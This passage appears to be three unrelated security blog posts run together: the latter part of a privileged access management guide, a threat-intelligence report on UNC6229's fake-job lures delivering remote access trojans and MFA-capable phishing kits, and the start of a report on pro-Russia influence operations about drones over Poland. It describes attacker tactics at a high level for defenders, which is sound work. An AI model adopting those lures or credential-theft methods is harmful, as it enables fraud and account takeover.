The goal is zero standing privilege: no one has permanent admin rights unless actively approved and in use. Just-in-time administration (discussed later in this post) is a related concept that achieves this by granting rights only when needed.

Secrets Management

For highly sensitive secrets—master encryption keys, signing certificates, cloud API keys, etc.—organizations should use dedicated secret management systems (often termed "key vaults"). A key vault (whether services like Azure Key Vault, HashiCorp Vault, or CyberArk's Identity Security Platform) is a hardened repository that securely stores secrets and tightly controls their access. The vault becomes the single source of truth for sensitive credentials, enabling fine-grained access control, auditing, and automated rotation from one central point. This reduces the risk of secrets sprawl (e.g., passwords stashed in configuration files or plaintext) and helps prevent unauthorized access to critical secrets.

When we say "secrets management," we refer to the general practice of centralized secrets management, not a specific product. For example, Azure Key Vault, Amazon Web Services (AWS) Key Management Service (KMS) / Secrets Manager, Google Cloud KMS, or a third-party vaulting tool all serve a similar purpose. The key is that these systems are purpose-built to protect secrets through strong encryption, access control, and monitoring.

Key considerations for effective secrets management include:

• Hardware Security Module (HSM): Integrate key vaults with HSMs as they provide a tamper-resistant environment for cryptographic operations and key storage, protecting keys from logical and physical attacks.

• Least-Privilege Access: Only authorized users or automated processes should be able to retrieve or manage secrets, and access should be granted on a just-in-time, just-enough basis.

• Auditing and Monitoring: Implement comprehensive logging and monitoring of all access to and operations within the key vault. Integrate these logs with your SIEM (e.g., Google SecOps) to detect anomalous behavior and unauthorized access attempts in real time.

• Automated Rotation and Lifecycle Management: Automate the rotation of secrets stored in the key vault to reduce the impact of any potential compromise. This includes automated certificate renewals, API key rotations, and password changes for managed accounts. The key vault should manage the entire lifecycle of secrets, from creation to destruction.

• Geographical Dispersion and Redundancy: Deploy key vaults in a highly available and geographically dispersed architecture to ensure business continuity and disaster recovery. 

• Segregation of Duties: No single individual should have complete control over all aspects of the key vault.

• Secure Backup and Recovery: Establish secure, offline, and encrypted backup procedures for the key vault itself. This ensures that even in a worst-case scenario, critical secrets can be safely restored.

Segregation of Duties and Tiered Access for Secrets Management: Robust Credential Security

Segregation of Duties (SoD) is a security cornerstone: no single individual controls critical processes. For key vaults, housing sensitive cryptographic keys, privileged credentials, SoD is vital.

SoD Imperative in Secrets Management

SoD prevents fraud, errors, and malicious activity by distributing control over critical processes so no single individual can act unilaterally. For key vaults, this prevents a single point of failure and mitigates the risk of insider threats and external attacks that exploit stolen credentials. Without SoD, a single compromised account could grant an attacker unfettered control, leading to immediate data exfiltration.

SoD proactively defends against cyberattacks by "decompressing" the attack pathway. Attackers use stolen credentials to bypass initial access defenses, but SoD fragments the control over a key vault, so even if one person's credentials are breached, the attacker lacks the full permissions needed to compromise the vault completely. This increases the complexity and time needed for an attack, making it easier to detect.

SoD deters malicious activity by ensuring accountability. When administrators know their actions are subject to forensic auditing, they are less likely to misuse their access. This architecture makes malicious activity more difficult, reduces human error, and fosters shared vigilance. By forcing privileged actions through approved, dual-controlled paths, the design makes unauthorized tradecraft noisy and easy to spot—attempts outside sanctioned workflows fail fast and alert.

Tiered Access Control for Key Vaults

Enforce tiering inside PAM and vault workflows. Treat the vault, PAM components, identity provider (IdP), and admin workstations as Tier-0 control planes. Permit Tier-0 identities only on Tier-0 systems; block cross-tier logons; require PAWs for Tier-0; isolate management networks so lower tiers cannot reach them. Make dual-control the default for vault release and role changes; ensure all break-glass paths are audited. Encode this in PAM: dedicated Tier-0 roles, approval chains, session isolation. Validate in SIEM: vault access, policy edits, role elevation, key retrieval.

Administrative Silos Per Tier

Build discrete silos for T0, T1, and T2. Separate admin groups, PAWs, credential stores, management tooling, logging, and network segments. No shared hosts, no shared identities, no shared jump paths across silos. Deny-by-default between tiers; allow only vetted, one-way orchestration flows.

Tier Controls that Protect Tiers from Each Other—and Themselves

• Cross-tier protections: Block interactive logon from lower to higher tiers; restrict credential injection and token reuse; require JIT elevation with time bounds; enforce change windows and peer approval for T0 actions.

• Intra-tier firebreaks: Session recording with command risk scoring; rate-limit or pause high-impact operations; require two-person integrity for destructive changes (key purge, policy delete); automatic rollback checkpoints for T0 policy edits.

Tier Definitions

• T0 (crown-jewel control plane): AD domain controllers; cloud IdP tenants (Microsoft Entra ID, Okta, Ping); cloud management planes and root roles (AWS IAM/root, Azure management groups/subscriptions, Google Cloud org/projects), Kubernetes control plane; PAM infrastructure; secrets/key services (CyberArk Vault, HashiCorp Vault, Azure Key Vault, AWS KMS/Secrets Manager); public key infrastructure (PKI) / certificate authority (CA) and CI/CD orchestrators.

• T1: Core business platforms (critical apps, databases).

• T2: Workstations, lower-impact servers. Key vaults are unequivocally T0.

Tiering must extend across the entire privileged pathway—identities, endpoints, networks, and applications that touch the vault—in both on-premises and cloud environments so a weak hop cannot bypass controls. SoD + tiering work together: tiering sets asset criticality and isolation boundaries; SoD fragments authority so no single operator can subvert Tier-0. Net effect: PAM encodes and enforces the enterprise tier model for every vault operation, while monitoring, approvals, and session isolation keep even the most privileged actions accountable and recoverable.

Advanced PAM Capabilities: JIT and JEA (Just-In-Time / Just-Enough-Access)

Modern PAM programs are increasingly adopting just-in-time (JIT) access and just-enough-access (JEA) models to enforce least privilege dynamically. These approaches aim to eliminate standing high-level access and only grant privileges when and to the extent needed.

Just-Enough-Access (JEA). Constrain privilege to the exact commands required for the task—nothing more. Example: instead of making a helpdesk user a domain admin, expose a PowerShell JEA endpoint that can only unlock accounts. JEA forces least privilege per command, produces high-fidelity logs, and blocks actions outside the allowed scope by design.

Application Control / EPM as the runway to JEA. Before or alongside JEA, apply application allow-listing and per-process elevation so only approved binaries run and only approved binaries can receive elevation. Concretely: WDAC/AppLocker on Windows, sudoers and signed-binary policies on Linux/macOS, or endpoint privilege management (e.g., CyberArk EPM) to elevate a specific installer/tool without giving the user local admin. This shrinks the privilege surface on endpoints and makes the later jump to JEA much smoother.

Just-In-Time (JIT) Access. JIT focuses on time-bound privilege elevation. Instead of an account having 24x7 admin rights, it can be configured so that admin privileges can be activated for a short window when needed, often requiring approval. For instance, a cloud administrator might not normally have the Owner role on a production subscription, but through a privileged identity management (PIM) service (like Microsoft Entra ID PIM or CyberArk Secure Cloud Access), they can request that role, and upon approval it is granted for one or two hours and then removed automatically. JIT ensures that even if an account's credentials are stolen, an attacker cannot do anything privileged with them unless they happen to steal it during an active privileged window (which is unlikely). It minimizes the duration of elevated access, cutting off opportunities for abuse.

Zero-Standing Privilege (ZSP). Target state: no human holds always-on admin rights. Access requires an approved request, step-up MFA, and either (a) time-bound role assignment or (b) an ephemeral token/credential. Session recording and command controls run by default. ZSP combines JEA (scope) + JIT (time) + strong approvals, making privilege both temporary and tightly bound.

App control/EPM prevents unknown tools from running; JEA restricts allowed actions; JIT/ZSP removes 24×7 rights; secure web sessions capture and deter misuse. Together they reduce blast radius, raise attacker friction, and generate auditable evidence for every privileged step.

Hardened Access Pathways

Restricting access to key vaults via hardened pathways is critical. Organizations should use PAWs or jump servers, which are highly secure, segmented systems used exclusively for privileged administrative tasks. This prevents attackers from moving laterally from a compromised, less-secure workstation to a high-value Tier-0 asset.

Hardening common lateral movement protocols like RDP, SMB, and WinRM is also vital. This includes disabling administrative shares, avoiding direct internet exposure, and enforcing MFA for RDP sessions. These measures contain a compromise even if initial access is gained.

Automated Credential Management

Automated secret rotation (for passwords, SSH keys, API keys, and certificates) is vital for reducing the window of opportunity for attackers. This automation is a form of SoD, as it removes the human element from handling sensitive credentials, minimizing accidental exposure or malicious manipulation during rotation. Dedicated PAM solutions can automate this process at scale, ensuring consistent policy application and reducing the "privilege of knowledge" by limiting how long any human needs to know a sensitive secret.

Dual Authorization and Approval Workflows

The "four-eyes" principle, or dual authorization, is a direct and stringent application of SoD. It requires a second or more, independent approval for high-impact actions within a key vault, such as retrieving a master encryption key or modifying critical policies. This ensures no single individual can perform a potentially irreversible action without independent verification, raising the bar for attackers and malicious insiders.

Monitoring and Auditing

Collect comprehensive logs from vault/PAM (checkouts, policy edits, session telemetry), IdP sign-ins, PAWs/jump hosts, EDR, and network controls. Correlate and aggregate these streams in the SIEM (e.g., Google SecOps) to build a single privileged-activity timeline. Combine analytics with context/assurance signals (device trust, geographic risk, user risk) to score events. Let automation auto-contain clear cases (suspend token, rotate secret), and surface in-role but abnormal activity to humans with the correlated context needed for fast decisions beyond automation.

These monitoring capabilities are also critical for compliance. Many regulatory frameworks, such as PCI DSS and NIST SP 800-53, mandate detailed auditing of all actions taken by individuals with administrative privileges.

02: Detection: Maintaining Visibility and Engineering Detections for Privileged Accounts

Distinguishing Privileged Account Monitoring from Normal IAM Abuse

Basic security tooling misses privileged misuse. Firewalls, simple intrusion detection systems (IDS), or SIEMs used as raw-log buckets give a flat view with little actor intent, leaving audit gaps. Close those gaps with defense-in-depth observability: collect high-fidelity, user-centric signals across control planes and correlate them—PAM vault checkouts, elevation/approval workflow events, session transcripts/commands, IdP sign-ins and Conditional Access outcomes, PAW posture, EDR process trees, network flows, change/configuration logs, and ticket metadata. Tie each privileged action to who/what/when/where/why/how, then apply behavioral analytics to flag authorized but abnormal use, verify dual-control, and automatically kill sessions, revoke tokens, or rotate secrets. On the defender side, organizations that deploy security AI/automation see materially better outcomes. IBM's study reports ~USD $2.2M lower average breach costs and a shorter breach lifecycle—reinforcing the need for automated detections.

Key differences vs. normal IAM abuse:

1. Observation depth. Privileged activity demands Who, What, When, Where, Why, and How context captured from the aforementioned user-centric signals for both real-time and post-event assessment.

2. Impact-first triage. Prioritize by asset tier and action impact rather than "detect-all" volume.

3. Authorized-abuse focus. Validate approvals and scope; alert on mismatches in approver, time, device, or target.

4. Analytics + response. Combine PAM telemetry with identity threat detection and response (ITDR) and User Entity Behavior Analytics (UEBA) in SIEM/XDR to drive automated containment (session terminate, token revoke, secret rotation).

Key Distinctions: Privileged Account Monitoring vs. Normal IAM Abuse

Engineering Specific Detections and Hunts

To monitor privileged accounts, organizations must move beyond static, rule-based detections to dynamic, intelligent approaches, including behavioral analytics with machine learning.

Generalized Detections for Anomalous Behavior

SIEM anomaly detection constantly monitors and analyzes data from network sources to establish a normal behavior baseline. Any deviation, like unusual login times, unexpected data transfers, or access by unfamiliar users, is flagged as an anomaly. Machine learning is at the heart of modern SIEM anomaly detection, letting the system learn from vast data, adjust baselines as the network changes, and find complex patterns across data sources. This finds subtle, low-and-slow attacks typical of threat actors. For instance, a system might detect a privileged user suddenly accessing new resources or acting outside their usual hours. While individual actions may seem harmless, their combination can show compromised credentials or insider misuse, which traditional rules might miss.

Nuanced Brute-Force Monitoring

Not all brute-force looks equal. Tune sensitivity by target impact and identity legitimacy. Deprioritize sprays at low-risk users; treat attempts against super admin/root, PAM/vault, secrets management, IdP break-glass, and cloud control planes as high-severity. Go beyond failure counts: classify the campaign by username quality (invalid-name ratio → enumeration; high valid-name ratio → likely stolen list), technique (spray vs. stuffing vs. targeted), MFA outcomes, lockout/rate-limit evasion, and source reputation. Correlate with role catalogs and allowed activity for that role: a spray that yields a success on a Tier-0 identity followed by atypical actions (token creation, role elevation, policy edits) signals compromise. Suppress noise by allow-listing approved scanners and pen-test windows; require change-ticket or source-IP tags to mark "legit testing." Drive a risk score per campaign that blends target tier, username legitimacy, success events, and post-authorization behavior, then trigger automated response (step-up auth, session kill, account disable, secret rotation) only for high-risk series.

Privileged Session Monitoring and Auditing

For privileged activity, high-fidelity session capture (screens, keystrokes/commands, metadata) provides intent and impact at review time, detects insider misuse, and proves compliance. Feed session telemetry to SIEM/XDR and Privilege Threat Analytics/ITDR to enrich with risk factors: asset tier, origin/device trust, time, approval chain, command rarity, data movement. Link sessions to brute-force outcomes and dual-control artifacts (who requested, who approved). Use analytics to auto-summarize what mattered (privilege elevation, new tokens/keys, policy changes, lateral pivots) and assign a risk score so investigators can triage fast; auto-action when thresholds are crossed (terminate session, revoke tokens, rotate credentials). This keeps reviews focused on abnormal behavior while preserving full evidence for forensics.

Specific Detections and Hunts (Examples)

When engineering detections and hunts for privileged accounts, focus on high-impact behaviors and unusual patterns, covering human and non-human privileged entities.

• Credential Exposure: Look for account lockouts or unexpected password resets, more login attempts on multiple services, logins from new devices or unfamiliar locations, multiple accounts accessed by the same device or IP address, uninitiated changes to account settings (e.g., recovery emails, security questions), and the use of emulators or virtual machines.

• GPO Modifications: Detect Group Policy Object (GPO) modifications by checking Security event logs on domain controllers for Windows Security Event ID 5136. "Audit Directory Service Changes" must be on. Watch for modifications of GPOs like the Default Domain Policy or scheduled task additions via GPO.

• Trusted Service Infrastructure Activity: Detect authentications and activities within platforms like asset and patch management tools, virtualization platforms, and security tooling.

• Virtualization Infrastructure: Ensure centralized SIEM/logging platforms capture authentication, authorization, access events, and configuration changes for virtualization platforms. Baseline these events, then alert on any access where privileged identities are used.

• Privileged Service Account Behavior: Keep an inventory of where and when privileged service accounts log on and create detections for any activity outside these baselined parameters. This is key for applications, especially in finance, that might be managed by service accounts. Detections should flag if a service account used for a financial application tries to access a different application, or logs in from an unexpected host.

• Threat Hunting: Do regular, proactive threat hunting to find compromise evidence missed by existing detections. This also helps find visibility gaps and build new detection uses.

• Compliance-Driven Auditing: Follow industry standards and regulations. PCI DSS requires auditing all actions by root or administrative privileges, and invalid logical access attempts. NIST SP 800-53 requires session audits at system start-up, user session content capture, and real-time viewing of user sessions.   

By providing these detection examples, organizations can improve security. Linking detections to compliance standards adds a mandatory reason for implementation. Inventorying and monitoring service accounts, a common hurdle, can also be addressed.

Sample Detections for Privileged Account Activity

Leveraging Google SecOps for Enhanced PAM Visibility

Google SecOps, especially its SOAR capabilities, serves as a central nervous system for privileged account monitoring. Its ability to ingest and analyze data from various sources is key for PAM.

Centralized Aggregation and Analysis

Google SecOps integrates with PAM solutions (e.g., CyberArk, via Syslog ingestion) and infrastructure logs (like Google Workspace activity). This allows central data aggregation and analysis, addressing "scattered events" and "incomplete pictures" from traditional logging. Once ingested, Google SecOps maps fields to a unified data model (UDM), enriching data with context and standardizing event types. This normalization is key, allowing cross-platform correlation and a unified view of privileged account activity across the enterprise. This aggregation and normalization overcome disparate log source limits, enabling better anomaly detection and threat hunting that might otherwise be impossible.

Automated Detection and Response Workflows

PAM data integration with Google SecOps' SOAR enables automated response workflows. This addresses the need for fast action when privileged accounts are compromised. Google SecOps can trigger automated workflows for actions like revoking access, suspending accounts, or granting temporary access for incident response. When a PAM solution, integrated with the SIEM, detects deviations from a baseline, it can alert and then initiate actions like rotating compromised credentials or enforcing MFA to contain attacks.

This automation means that upon detecting a high-severity anomaly (e.g., a brute-force attempt on a super admin account), Google SecOps can automatically initiate containment, reducing manual Security Operations Center (SOC) effort and attacker opportunity. This shifts security from reactive alerting to proactive, automated defense. Automating containment, like suspending a compromised account or forcing a password reset, reduces "SOC effort" and "impact," letting human analysts focus on investigation rather than initial containment. Google SecOps is a key enabler for a mature, efficient PAM program that detects and responds to threats fast, improving security.

03: Response: Taking Action to Investigate and Remediate Privileged Account Compromise

Even with prevention and detection, organizations must be ready for a privileged account compromise. Response speed and thoroughness dictate incident impact.

Tactical Hardening and Positioning During an Incident

Prepare before an incident: Map every service account to owner and workload, run continuous discovery cycles (using PAM discovery/scanning tools) to find systems and credentials, and onboard all human and non-human privileged identities into PAM; enforce unique credentials, MFA, and API-based rotation; migrate Windows services to gMSA / standalone Managed Service Account (sMSA) and block interactive logon for service accounts; create pre-approved, tested runbooks for bulk rotation, quarantine, and vault/IdP audit escalation; store break-glass credentials offline with dual-control retrieval and immutable logging; secure executive sponsorship for Tier-0 ownership and cross-team responsibilities (platform, app, IAM, PAM).

Immediate isolation: Pull suspected admin workstations off the network; restrict east-west to Tier-0; in cloud, revoke refresh tokens and active sessions, then force re-authorization. For vaults/IdP/DCs showing anomalous activity, sever untrusted network paths, keep console access for responders, and snapshot logs/state before change. Raise audit levels on targets (operating system [OS], IdP, vault, PAM) to capture follow-on actions for forensics.

Credential resets: Coordinated, not piecemeal. Use PAM to bulk-rotate human + service secrets once initial containment stabilizes. Close a common gap by onboarding service accounts comprehensively, blocking interactive logon, mapping each to an owner/workload, and attaching to rotation workflows. For Windows services, migrate to gMSA/sMSA to gain automatic, frequent password changes with no human handling; for non-Windows/app credentials, store in PAM and rotate via API. This yields rapid, low-friction resets without tipping the actor. 

Break-glass that actually works: Maintain offline, tightly held emergency access for Tier-0 (e.g., local admin on vault/DC, offline DA credential) with dual-control retrieval, immutable logging, and post-use rotation. Drill these paths routinely. 

Incident response (IR) support: Engage internal IR plus an external partner early for memory capture, log triage, and containment strategy while platform teams sustain core services. (IR playbooks should already assume the aforementioned Tier-0 model to avoid re-exposure during response).

Effective Investigation and Remediation

Investigation for privileged account compromise must be holistic, combining forensic analysis with understanding how privileged access is abused. This shows the need for logging and monitoring setup in the detection phase.

Investigation should include analyzing systems that interact with privileged infrastructure, like developer and signing systems, for malware. Initial access vectors, particularly phishing campaigns (e.g., fake job offers) and malicious web pages, must be investigated. Reviewing logs for interactions with privileged infrastructure, especially sending transactions from secret management platforms or API gateways, is also key. Understanding the full attack path—how access was gained, how privileges were increased, how lateral movement used privileged access, and what actions were done—is key for remediation and preventing recurrence.

Eradication hinges on a coordinated enterprise password reset (EPR)—a planned, organization-wide rotation of credentials and secrets to evict an attacker's ability to reuse stolen material. Initiate EPR when there is evidence or strong suspicion of mass credential exposure (e.g., NTDS.dit dump, DCSync/DCShadow, Kerberoasting, or secrets pulled from code/repos/vaults). Scope EPR to cover domain, local, service, and application/technology accounts; API keys and embedded secrets; cloud sync/bind identities; and third-party integrations. Run it as a cross-functional operation (IR, IAM/PAM, platform, app/dev, cloud ops, SOC, help desk, legal/communications, executives) with staged playbooks, (e.g., dual KRBTGT rotations, trust key resets, service-account updates via PAM/gMSA, and immediate revocation of exposed tokens/keys). Executed well, EPR restores positive control with minimal disruption and removes the attacker's persistence.

Recovery Planning for Critical Systems

A PAM strategy goes beyond immediate incident response to include recovery planning for systems, ensuring resilience in a catastrophic event.

Virtualization Infrastructure Hardening and Protections

Treat vCenter/ESXi, Hyper-V, cloud consoles as Tier-0 choke points. Use dedicated admin identities and/or privileged directories (separate forest or platform-local), vault them, require MFA, and put all hypervisor/out-of-band management on segmented admin networks reachable only from PAWs/jump hosts. For HPE Integrated Lights-Out (iLO) / Integrated Dell Remote Access Computer (iDRAC) / Intelligence Platform Management Interface (IPMI), place on a dedicated management network, disable internet exposure, replace default certs, avoid IPMI-over-LAN, and restrict operators to a tiny vetted group with session recording and aggressive rotation/certificate-based authentication.

Harden ESXi hosts. Enable Lockdown Mode to force host admin via vCenter, reserve direct console/ Direct Console User Interface (DCUI) for break-glass; minimize SSH, disable when not needed; enforce vCenter RBAC and strong password policies. Centralize telemetry in SIEM for VM create/delete, role/permission changes, snapshot/optical disk image (ISO) mounts high-signal events for ransomware staging. Monitor vpxuser across hosts; keep automatic rotation enabled (30-day default) and, if compromise suspected, change rotation interval in vCenter so it propagates, rather than requiring manual changes on hosts.

Harden PAM servers themselves as Tier-0: Dedicated machines, not domain-joined or isolated to a Tier-0 silo; vendor hardening baselines; minimal services; host firewalls; controlled console access; continuous health/telemetry to SIEM. CyberArk's Digital Vault Security Standard and hardening guidance provide concrete checklists.

Backup Infrastructure Protections

Backup infrastructure is the ultimate privileged access target for ransomware operators, as its compromise can stop recovery. Protecting identities that manage backups is a PAM concern, ensuring the "keys to the recovery kingdom" are secure. Organizations must find all dependencies and interconnectivity needs for backup infrastructure availability. The backup architecture should be effective and timely, considering isolated recovery environments and immutable backups—following the 3-2-1 rule of 3 copies in 2 locations and 1 offline.

A defined recovery and reconstitution sequencing strategy, based on business importance, guides restoration. Planning for secure, validated restoration using isolated network enclaves is key to prevent reintroducing malware. Strategies include using unique, separate credentials (not with primary identity provider) with MFA for backup infrastructure, securing offline copies of emergency access credentials, and using unique programmatic service accounts with regular rotation. Implementing firewall rules to restrict admin traffic to a dedicated backup admin network, isolating backup servers from production, and using immutable backups or "write once, read many" (WORM) capabilities are also vital. Finally, admin access to backup infrastructure should be restricted via secure access workstations, and detection strategies should find illegitimate modifications to backup retention and purge policies.

Conclusion: A Proactive Stance on Privileged Access Security

Privileged accounts remain the primary target for attackers, serving as the gateway to financial and operational impact within any organization. The threat landscape, with more credential compromise, account takeovers, and insider threats, shows the need for privileged account monitoring and a mature privileged access management (PAM) program.

Effective PAM goes beyond the narrow definition of privileged accounts, covering human and non-human entities across IT environments and their dependencies. It needs a maturity journey, guiding organizations from an Uninitiated posture to Iterative Optimization—an automated, continuously improving defense. Dedicated PAM solutions are foundational, but must sit on firm system hardening and enforced policy baselines—tiering and SoD, PAWs-only administration, conditional access/MFA, application allow-listing, credential hygiene/rotation—followed by protocol controls such as RDP, SMB, and WinRM. Together these measures reduce attack surface and sharply limit the utility of stolen credentials.

In detection, traditional logging limits mean moving to specialized monitoring. Distinguishing privileged account activity from normal IAM abuse needs more detailed context and a focus on compromise impact. Using advanced analytics, especially machine learning anomaly detection, finds subtle, "in-role but abnormal" behaviors that show compromise or misuse. Nuanced alerting, like prioritizing brute-force attempts against super admin accounts, optimizes security operations. High-fidelity session monitoring gives proof for investigation and compliance. Google SecOps, with its central aggregation, unified data model, and automated response, is a platform to make these PAM monitoring strategies work, enabling real-time threat detection and fast containment.

Finally, a PAM strategy demands practiced incident response and recovery planning. Immediate tactical hardening, better logging, and isolation are key during an incident. Thorough investigation and remediation, including secret rotation and system rebuilding, are needed for eviction and future resilience. Planning for critical system recovery, like key vaults, virtualization infrastructure, and backup systems—with isolated, encrypted, and tested backups—is the ultimate safeguard against loss.

By taking a proactive stance on privileged access security, organizations can reduce risk, protect assets, and build a more defensible and resilient digital ecosystem.

Google Threat Intelligence Group (GTIG) is tracking a cluster of financially motivated threat actors operating from Vietnam that leverages fake job postings on legitimate platforms to target individuals in the digital advertising and marketing sectors. The actor effectively uses social engineering to deliver malware and phishing kits, ultimately aiming to compromise high-value corporate accounts, in order to hijack digital advertising accounts. GTIG tracks parts of this activity as UNC6229. 

The activity targets remote digital advertising workers who have contract or part-time positions and may actively look for work while they currently have a job. The attack starts when a target downloads and executes malware or enters credentials into a phishing site. If the target falls victim while logged into a work computer with a personal account, or while using a personal device with access to company ads accounts, threat actors can gain access to those company accounts. Successful compromise of a corporate advertising or social media account allows the threat actor to either sell ads to other actors, or sell the accounts themselves to other actors to monetize, as they see fit. This blog describes the actor's tactics, techniques, and procedures (TTPs).

As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Introduction

GTIG identified a persistent and targeted social engineering campaign operated by UNC6229, a financially motivated threat cluster assessed to be operating from Vietnam. This campaign exploits the trust inherent in the job application process by posting fake career opportunities on popular employment platforms, as well as freelance marketplaces and their own job posting websites. Applicants are lured into a multi-stage process that culminates in the delivery of either malware that allows remote access to the system or highly convincing phishing pages designed to harvest corporate credentials.

The primary targets appear to be individuals working in digital marketing and advertising. By targeting this demographic, UNC6229 increases its chances of compromising individuals who have legitimate access to high-value corporate advertising and social media accounts. The campaign is notable for its patient, victim-initiated social engineering, abuse of legitimate commercial software, and its targeted approach to specific industries.

Campaign Overview: The "Fake Career" Lure

The effectiveness of this campaign hinges on a classic social engineering tactic where the victim initiates the first contact. UNC6229 creates fake company profiles, often masquerading as digital media agencies, on legitimate job platforms. They post attractive, often remote, job openings that appeal to their target demographic. 

When an individual applies for one of these fake positions, they provide the actor with their name, contact information, and resume. This self-initiated action establishes a foundation of trust. When UNC6229 later contacts the applicant, the victim is more receptive, believing it to be a legitimate follow-up from a potential employer.

The vulnerability extends beyond the initial job application. The actor can retain the victim's information for future "cold emails" about other fabricated job opportunities or even sell the curated list of active job seekers to other attackers for similar abuse.

Technical Analysis: The Attack Chain

Once a victim applies to a job posting, UNC6229 initiates contact, typically via email, but also through direct messaging platforms. In some cases the attackers also use commercial CRM tools that allow sending bulk emails. Depending on the campaign the attacker may send the victim an attachment with malware, a link to a website that hosts malware,  or a link to a phishing page to schedule an interview.

1. Fake Job Posting

Using fake job postings the attackers target specific industries and locations, posting jobs relevant to the digital advertising industry in specific regions. This same kind of targeting would work across any industry or geographic location. The job postings are both on legitimate sites, as well as on websites created by the threat actors.

2. Initial Contact and Infrastructure Abuse

Once a victim applies to a job posting, UNC6229 initiates contact, typically via email, but also through direct messaging platforms. The initial contact is often benign and personalized, referencing the job the victim applied for and addressing the victim by name. This first contact typically does not contain any attachments or links, but is designed to elicit a response and further build rapport. 

GTIG has observed UNC6229 and other threat actors abusing a wide range of legitimate business and customer relationship management (CRM) platforms to send these initial emails and manage their campaigns. By abusing these trusted services, the actor's emails are more likely to bypass security filters and appear legitimate to the victim. We’ve shared insights about these campaigns with CRMs UNC6229 has abused, including Salesforce, to better secure the ecosystem. We continue to disrupt these actors by blocking their use of Google products, including Google Groups and Google AppSheet.

3. Payload Delivery: Malware or Phishing

After the victim responds, the actor proceeds to the payload delivery phase. Depending on the campaign the attacker may send the victim an attachment with malware or a link to a phishing page:

• Malware Delivery: The actor sends an attachment, often a password-protected ZIP file, claiming it is a skills test, an application form, or a required preliminary task. The victim is instructed that opening the file is a mandatory step in the hiring process. The payload often includes remote access trojans (RATs) that allow the actor to gain full control of the victim's device and subsequently take over their online accounts.
• Phishing Link: The actor sends a link, sometimes obfuscated with a URL shortener, directing the victim to a phishing page. This page is often presented as a portal to schedule an interview or complete an assessment.

The phishing pages are designed to be highly convincing, using the branding of major corporations. GTIG has analyzed multiple phishing kits associated with this threat activity and found that they are often configured to specifically target corporate email credentials and can handle various multi-factor authentication (MFA) schemes, including those from Okta and Microsoft.

Attribution

GTIG assesses with high confidence that this activity is conducted by a cluster of financially motivated individuals located in Vietnam. The shared TTPs and infrastructure across multiple incidents suggest a collaborative environment where actors likely exchange tools and successful techniques on private forums.

Outlook

The "fake career" social engineering tactic is a potent threat because it preys on fundamental human behaviors and the necessities of professional life. We expect UNC6229 and other actors to continue refining this approach, expanding their targeting to other industries where employees have access to valuable corporate assets. The abuse of legitimate SaaS and CRM platforms for malicious campaigns is a growing trend that challenges traditional detection methods.

Indicators of Compromise

The following indicators of compromise are available to registered users in a Google Threat Intelligence (GTI) collection.

Written by: Alden Wahlstrom, David Mainor

Introduction 

Google Threat Intelligence Group (GTIG) observed multiple instances of pro-Russia information operations (IO) actors promoting narratives related to the reported incursion of Russian drones into Polish airspace that occurred on Sept. 9-10, 2025. The identified IO activity, which mobilized in response to this event and the ensuing political and security developments, appeared consistent with previously observed instances of pro-Russia IO targeting Poland—and more broadly the NATO Alliance and the West. Information provided in this report was derived from GTIG's tracking of IO beyond Google surfaces. Google is committed to information transparency, and we will continue tracking these threats and blocking their inauthentic content on Google’s platforms. We regularly disclose our latest enforcement actions in the TAG Bulletin.

Observed messaging surrounding the Russian drone incursion into Polish airspace advanced multiple, often intersecting, influence objectives aligned with historic pro-Russia IO threat activity:

• Promoting a Positive Russian Image: Concerted efforts to amplify messaging denying Russia’s culpability for the incursion. 

• Blaming NATO and the West: The reframing of the events to serve Russian strategic interests, effectively accusing either Poland or NATO of manufacturing pretext to serve their own political agendas. 

• Undermining Domestic Confidence in Polish Government: Messaging designed to negatively influence Polish domestic support for its own government, by insinuating that its actions related to both the event itself and the broader conflict in Ukraine are detrimental to Poland’s domestic stability.

• Undermining International Support to Ukraine: Messaging designed to undercut Polish domestic support for its government’s foreign policy position towards Ukraine.

Notably, Russia-aligned influence activities have long prioritized Poland, frequently leveraging a combination of Poland-focused operations targeting the country domestically, as well as operations that have promoted Poland-related narratives more broadly to global audiences. However, the mobilization of covert assets within Russia’s propaganda and disinformation ecosystem in response to this most recent event is demonstrative of how established pro-Russia influence infrastructure—including both long-standing influence campaigns and those which more recently emerged in response to Russia’s full-scale invasion of Ukraine in 2022—can be flexibly leveraged by operators to rapidly respond to high-profile, emerging geopolitical stressors. 

Examples highlighted in this report are designed to provide a representative snapshot of pro-Russia influence activities surrounding the Russian drone incursion into Polish airspace; it is not intended to be a comprehensive account of all pro-Russia activity which may have leveraged these events.

Multiple Pro-Russia Campaigns Leveraged Drone Incursion Narratives

Multiple IO actors that GTIG tracks rapidly promoted related narratives in the period immediately following the drone incursion. While this by itself is not evidence of coordination across these groups, it does highlight how influence actors throughout the pro-Russia ecosystem have honed their activity to be responsive to major geopolitical developments. This blog post contains examples that we initially observed as part of this activity.

Portal Kombat 

The actor publicly referred to as Portal Kombat (aka the “Pravda Network”) has been publicly reported on since at least 2024 as operating a network of domains that act as amplifiers of content seeded within the broader pro-Russia ecosystem, primarily focused on Russia's invasion of Ukraine. These domains share near identical characteristics while each targeting different geographic regions. As has likewise been documented in public reporting, over time Portal Kombat has developed new infrastructure to expand its targeting of the West and other countries around the world via subdomains stemming from a single actor-controlled domain. Some examples of Portal Kombat’s promoted narratives related to the incursion of Russian drones into Polish airspace include the following:

• One article, ostensibly reporting on the crash of one of the drones, called into question whether the drones could have come from Russia, noting that the type of drones purportedly involved are not capable of reaching Poland.

• Another article claimed that officials from Poland and the Baltic States politicized the issue, intentionally reframing it as a threat to NATO as a means to derail possible Russia-U.S. negotiations regarding the conflict in Ukraine out of a fear that the U.S. would deprioritize the region to focus on China. The article further claimed that videos of the drones shown in the Polish media are fake, and that the Russian military does not have a real intention of attacking Poland.

• A separate article promoted a purported statement made by a Ukrainian military expert, claiming that the result of the drone incursion was that Europe will focus its spending on defense at home, rather than on support for Ukraine—the purported statement speculated as to whether this was the intention of the incursion itself.

Doppelganger

The "Doppelganger" pro-Russia IO actor has created a network of inauthentic custom media brands that it leverages to target Europe, the U.S., and elsewhere. These websites often have a specific topical and regional focus and publish content in the language of the target audience. GTIG identified at least two instances in which Polish-language and German-language inauthentic custom media brands that we track disseminated content that leveraged the drone incident (Figure 2). 

